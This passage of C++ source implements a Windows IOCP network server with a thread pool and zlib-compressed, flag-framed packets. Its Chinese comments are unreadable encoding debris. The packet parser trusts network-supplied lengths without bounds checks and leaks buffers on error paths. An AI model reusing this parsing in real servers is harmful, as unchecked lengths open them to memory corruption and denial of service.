||||||
|
if (m_hKillEvent!=NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hKillEvent);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_sListenSocket!=INVALID_SOCKET)
|
||||||
|
{
|
||||||
|
closesocket(m_sListenSocket);
|
||||||
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_hCompletionPort!=INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hCompletionPort);
|
||||||
|
m_hCompletionPort = INVALID_HANDLE_VALUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_hListenEvent!=WSA_INVALID_EVENT)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hListenEvent);
|
||||||
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (!m_ContextConnectionList.IsEmpty())
|
||||||
|
{
|
||||||
|
CONTEXT_OBJECT *ContextObject = m_ContextConnectionList.RemoveHead();
|
||||||
|
delete ContextObject;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (!m_ContextFreePoolList.IsEmpty())
|
||||||
|
{
|
||||||
|
CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead();
|
||||||
|
delete ContextObject;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteCriticalSection(&m_cs);
|
||||||
|
m_ulWorkThreadCount = 0;
|
||||||
|
|
||||||
|
m_ulThreadPoolMin = 0;
|
||||||
|
m_ulThreadPoolMax = 0;
|
||||||
|
m_ulCPULowThreadsHold = 0;
|
||||||
|
m_ulCPUHighThreadsHold = 0;
|
||||||
|
m_ulCurrentThread = 0;
|
||||||
|
m_ulBusyThread = 0;
|
||||||
|
m_ulKeepLiveTime = 0;
|
||||||
|
|
||||||
|
WSACleanup();
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
||||||
|
{
|
||||||
|
m_NotifyProc = NotifyProc;
|
||||||
|
m_OfflineProc = OffProc;
|
||||||
|
m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
|
||||||
|
|
||||||
|
if (m_hKillEvent==NULL)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_sListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||||
|
|
||||||
|
if (m_sListenSocket == INVALID_SOCKET)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_hListenEvent = WSACreateEvent();
|
||||||
|
|
||||||
|
if (m_hListenEvent == WSA_INVALID_EVENT)
|
||||||
|
{
|
||||||
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int iRet = WSAEventSelect(m_sListenSocket, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FD_ACCEPT<50><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_hListenEvent,
|
||||||
|
FD_ACCEPT);
|
||||||
|
|
||||||
|
if (iRet == SOCKET_ERROR)
|
||||||
|
{
|
||||||
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
|
WSACloseEvent(m_hListenEvent);
|
||||||
|
|
||||||
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SOCKADDR_IN ServerAddr;
|
||||||
|
ServerAddr.sin_port = htons(uPort);
|
||||||
|
ServerAddr.sin_family = AF_INET;
|
||||||
|
ServerAddr.sin_addr.s_addr = INADDR_ANY; //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BB>ֺ<EFBFBD><D6BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bind
|
||||||
|
iRet = bind(m_sListenSocket,
|
||||||
|
(sockaddr*)&ServerAddr,
|
||||||
|
sizeof(ServerAddr));
|
||||||
|
|
||||||
|
if (iRet == SOCKET_ERROR)
|
||||||
|
{
|
||||||
|
int a = GetLastError();
|
||||||
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
|
WSACloseEvent(m_hListenEvent);
|
||||||
|
|
||||||
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
iRet = listen(m_sListenSocket, SOMAXCONN);
|
||||||
|
|
||||||
|
if (iRet == SOCKET_ERROR)
|
||||||
|
{
|
||||||
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
|
WSACloseEvent(m_hListenEvent);
|
||||||
|
|
||||||
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_hListenThread =
|
||||||
|
(HANDLE)CreateThread(NULL,
|
||||||
|
0,
|
||||||
|
(LPTHREAD_START_ROUTINE)ListenThreadProc,
|
||||||
|
(void*)this, //<2F><>Thread<61>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>this <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա
|
||||||
|
0,
|
||||||
|
NULL);
|
||||||
|
if (m_hListenThread==INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
|
WSACloseEvent(m_hListenEvent);
|
||||||
|
|
||||||
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> 1 2
|
||||||
|
InitializeIOCP();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//1<><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6>
|
||||||
|
//2<><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||||
|
BOOL IOCPServer::InitializeIOCP(VOID)
|
||||||
|
{
|
||||||
|
m_hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0 );
|
||||||
|
if ( m_hCompletionPort == NULL )
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_hCompletionPort==INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SYSTEM_INFO SystemInfo;
|
||||||
|
GetSystemInfo(&SystemInfo); //<2F><><EFBFBD><EFBFBD>PC<50><43><EFBFBD>м<EFBFBD><D0BC><EFBFBD>
|
||||||
|
|
||||||
|
m_ulThreadPoolMin = 1;
|
||||||
|
m_ulThreadPoolMax = 16;
|
||||||
|
m_ulCPULowThreadsHold = 10;
|
||||||
|
m_ulCPUHighThreadsHold = 75;
|
||||||
|
m_cpu.Init();
|
||||||
|
|
||||||
|
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
|
||||||
|
|
||||||
|
HANDLE hWorkThread = NULL;
|
||||||
|
for (int i=0; i<ulWorkThreadCount; i++ )
|
||||||
|
{
|
||||||
|
hWorkThread = (HANDLE)CreateThread(NULL, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD>Ͷ<EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
0,
|
||||||
|
(LPTHREAD_START_ROUTINE)WorkThreadProc,
|
||||||
|
(void*)this,
|
||||||
|
0,
|
||||||
|
NULL);
|
||||||
|
if (hWorkThread == NULL )
|
||||||
|
{
|
||||||
|
CloseHandle(m_hCompletionPort);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ulWorkThreadCount++;
|
||||||
|
|
||||||
|
CloseHandle(hWorkThread);
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||||
|
{
|
||||||
|
IOCPServer* This = (IOCPServer*)(lParam);
|
||||||
|
|
||||||
|
HANDLE hCompletionPort = This->m_hCompletionPort;
|
||||||
|
DWORD dwTrans = 0;
|
||||||
|
|
||||||
|
PCONTEXT_OBJECT ContextObject = NULL;
|
||||||
|
LPOVERLAPPED Overlapped = NULL;
|
||||||
|
OVERLAPPEDPLUS* OverlappedPlus = NULL;
|
||||||
|
ULONG ulBusyThread = 0;
|
||||||
|
BOOL bError = FALSE;
|
||||||
|
|
||||||
|
InterlockedIncrement(&This->m_ulCurrentThread);
|
||||||
|
InterlockedIncrement(&This->m_ulBusyThread);
|
||||||
|
|
||||||
|
while (This->m_bTimeToKill==FALSE)
|
||||||
|
{
|
||||||
|
InterlockedDecrement(&This->m_ulBusyThread);
|
||||||
|
BOOL bOk = GetQueuedCompletionStatus(
|
||||||
|
hCompletionPort,
|
||||||
|
&dwTrans,
|
||||||
|
(LPDWORD)&ContextObject,
|
||||||
|
&Overlapped,INFINITE);
|
||||||
|
|
||||||
|
DWORD dwIOError = GetLastError();
|
||||||
|
|
||||||
|
OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol);
|
||||||
|
|
||||||
|
ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1
|
||||||
|
if ( !bOk && dwIOError != WAIT_TIMEOUT ) //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
|
||||||
|
{
|
||||||
|
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
|
||||||
|
{
|
||||||
|
This->RemoveStaleContext(ContextObject);
|
||||||
|
}
|
||||||
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!bError)
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>̵߳<DFB3><CCB5>̵߳<DFB3><CCB5>̳߳<DFB3>
|
||||||
|
if (ulBusyThread == This->m_ulCurrentThread)
|
||||||
|
{
|
||||||
|
|
||||||
|
if (ulBusyThread < This->m_ulThreadPoolMax)
|
||||||
|
{
|
||||||
|
if (ContextObject != NULL)
|
||||||
|
{
|
||||||
|
HANDLE hThread = (HANDLE)CreateThread(NULL,
|
||||||
|
0,
|
||||||
|
(LPTHREAD_START_ROUTINE)WorkThreadProc,
|
||||||
|
(void*)This,
|
||||||
|
0,
|
||||||
|
NULL);
|
||||||
|
|
||||||
|
InterlockedIncrement(&This->m_ulWorkThreadCount);
|
||||||
|
|
||||||
|
CloseHandle(hThread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!bOk && dwIOError == WAIT_TIMEOUT)
|
||||||
|
{
|
||||||
|
if (ContextObject == NULL)
|
||||||
|
{
|
||||||
|
if (This->m_ulCurrentThread > This->m_ulThreadPoolMin)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
bError = TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!bError)
|
||||||
|
{
|
||||||
|
if(bOk && OverlappedPlus!=NULL && ContextObject!=NULL)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans);
|
||||||
|
|
||||||
|
ContextObject = NULL;
|
||||||
|
}
|
||||||
|
catch (...) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
}
|
||||||
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
|
||||||
|
InterlockedDecrement(&This->m_ulWorkThreadCount);
|
||||||
|
InterlockedDecrement(&This->m_ulCurrentThread);
|
||||||
|
InterlockedDecrement(&This->m_ulBusyThread);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans) //<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
BOOL bRet = FALSE;
|
||||||
|
|
||||||
|
if (IOInitialize == PacketFlags)
|
||||||
|
{
|
||||||
|
bRet = OnClientInitializing(ContextObject, dwTrans);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (IORead==PacketFlags) //WsaResv
|
||||||
|
{
|
||||||
|
bRet = OnClientReceiving(ContextObject,dwTrans);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (IOWrite==PacketFlags) //WsaSend
|
||||||
|
{
|
||||||
|
bRet = OnClientPostSending(ContextObject,dwTrans);
|
||||||
|
}
|
||||||
|
return bRet;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||||
|
{
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||||
|
{
|
||||||
|
CLock cs(m_cs);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (dwTrans == 0) //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||||
|
{
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
ContextObject->InCompressedBuffer.WriteBuffer((PBYTE)ContextObject->szBuffer,dwTrans); //<2F><><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>wsabuff 8192
|
||||||
|
|
||||||
|
while (ContextObject->InCompressedBuffer.GetBufferLength() > HDR_LENGTH) //<2F>鿴<EFBFBD><E9BFB4><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
char szPacketFlag[FLAG_LENGTH]= {0};
|
||||||
|
|
||||||
|
CopyMemory(szPacketFlag, ContextObject->InCompressedBuffer.GetBuffer(),FLAG_LENGTH);
|
||||||
|
|
||||||
|
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||||
|
{
|
||||||
|
throw "bad Buffer";
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG ulPackTotalLength = 0;
|
||||||
|
CopyMemory(&ulPackTotalLength, ContextObject->InCompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));//Shine[50][kdjfkdjfkj]
|
||||||
|
|
||||||
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ܳ<EFBFBD>
|
||||||
|
|
||||||
|
//50
|
||||||
|
if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
||||||
|
{
|
||||||
|
ULONG ulOriginalLength = 0;
|
||||||
|
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);
|
||||||
|
|
||||||
|
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||||
|
|
||||||
|
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||||
|
|
||||||
|
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
|
||||||
|
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //û<>н<EFBFBD>ѹ
|
||||||
|
|
||||||
|
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> 436
|
||||||
|
|
||||||
|
if (CompressedBuffer == NULL || DeCompressedBuffer == NULL)
|
||||||
|
{
|
||||||
|
throw "Bad Allocate";
|
||||||
|
}
|
||||||
|
ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); //<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
|
||||||
|
|
||||||
|
int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
if (iRet == Z_OK)
|
||||||
|
{
|
||||||
|
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||||
|
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||||
|
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||||
|
|
||||||
|
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw "Bad Buffer";
|
||||||
|
}
|
||||||
|
|
||||||
|
delete [] CompressedBuffer;
|
||||||
|
delete [] DeCompressedBuffer;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
}catch(...)
|
||||||
|
{
|
||||||
|
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||||
|
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||||
|
|
||||||
|
PostRecv(ContextObject);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
||||||
|
{
|
||||||
|
if (ContextObject == NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (ulOriginalLength > 0)
|
||||||
|
{
|
||||||
|
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||||
|
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||||
|
int iRet = compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength);
|
||||||
|
|
||||||
|
if (iRet != Z_OK)
|
||||||
|
{
|
||||||
|
delete [] CompressedBuffer;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||||
|
|
||||||
|
ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH);
|
||||||
|
|
||||||
|
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG));
|
||||||
|
|
||||||
|
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||||
|
|
||||||
|
ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
|
|
||||||
|
delete [] CompressedBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
||||||
|
|
||||||
|
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol);
|
||||||
|
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||||
|
{
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}catch(...){}
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompletedLength)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
DWORD ulFlags = MSG_PARTIAL;
|
||||||
|
|
||||||
|
ContextObject->OutCompressedBuffer.RemoveComletedBuffer(ulCompletedLength); //<2F><><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9>ȥ<EFBFBD><C8A5>
|
||||||
|
if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0)
|
||||||
|
{
|
||||||
|
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||||
|
return true; //<2F>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD>Ͷ<EFBFBD><CDB6> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer();
|
||||||
|
ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength(); //<2F><><EFBFBD><EFBFBD>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3><EFBFBD>
|
||||||
|
|
||||||
|
int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
|
||||||
|
&ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||||
|
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
|
||||||
|
{
|
||||||
|
int a = GetLastError();
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}catch(...){}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||||
|
{
|
||||||
|
IOCPServer* This = (IOCPServer*)(lParam);
|
||||||
|
WSANETWORKEVENTS NetWorkEvents;
|
||||||
|
|
||||||
|
while(1)
|
||||||
|
{
|
||||||
|
if (WaitForSingleObject(This->m_hKillEvent, 100) == WAIT_OBJECT_0)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD dwRet;
|
||||||
|
dwRet = WSAWaitForMultipleEvents(1,
|
||||||
|
&This->m_hListenEvent,
|
||||||
|
FALSE,
|
||||||
|
100,
|
||||||
|
FALSE);
|
||||||
|
|
||||||
|
if (dwRet == WSA_WAIT_TIMEOUT)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
int iRet = WSAEnumNetworkEvents(This->m_sListenSocket,
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD><EFBFBD>¼<EFBFBD>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD> <20><><EFBFBD><EFBFBD> <20>ж<EFBFBD>
|
||||||
|
This->m_hListenEvent,
|
||||||
|
&NetWorkEvents);
|
||||||
|
|
||||||
|
if (iRet == SOCKET_ERROR)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (NetWorkEvents.lNetworkEvents & FD_ACCEPT)
|
||||||
|
{
|
||||||
|
if (NetWorkEvents.iErrorCode[FD_ACCEPT_BIT] == 0)
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD>OnAccept()<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
|
||||||
|
This->OnAccept();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void IOCPServer::OnAccept()
|
||||||
|
{
|
||||||
|
SOCKADDR_IN ClientAddr = {0};
|
||||||
|
SOCKET sClientSocket = INVALID_SOCKET;
|
||||||
|
|
||||||
|
int iRet = 0;
|
||||||
|
int iLen = 0;;
|
||||||
|
|
||||||
|
iLen = sizeof(SOCKADDR_IN);
|
||||||
|
sClientSocket = accept(m_sListenSocket,
|
||||||
|
(sockaddr*)&ClientAddr,
|
||||||
|
&iLen); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD>ǵļ<C7B5><C4BC><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>֮<EFBFBD>ź<EFBFBD>ͨ<EFBFBD>ŵ<EFBFBD><C5B5><EFBFBD><D7BD><EFBFBD>
|
||||||
|
if (sClientSocket == SOCKET_ERROR)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
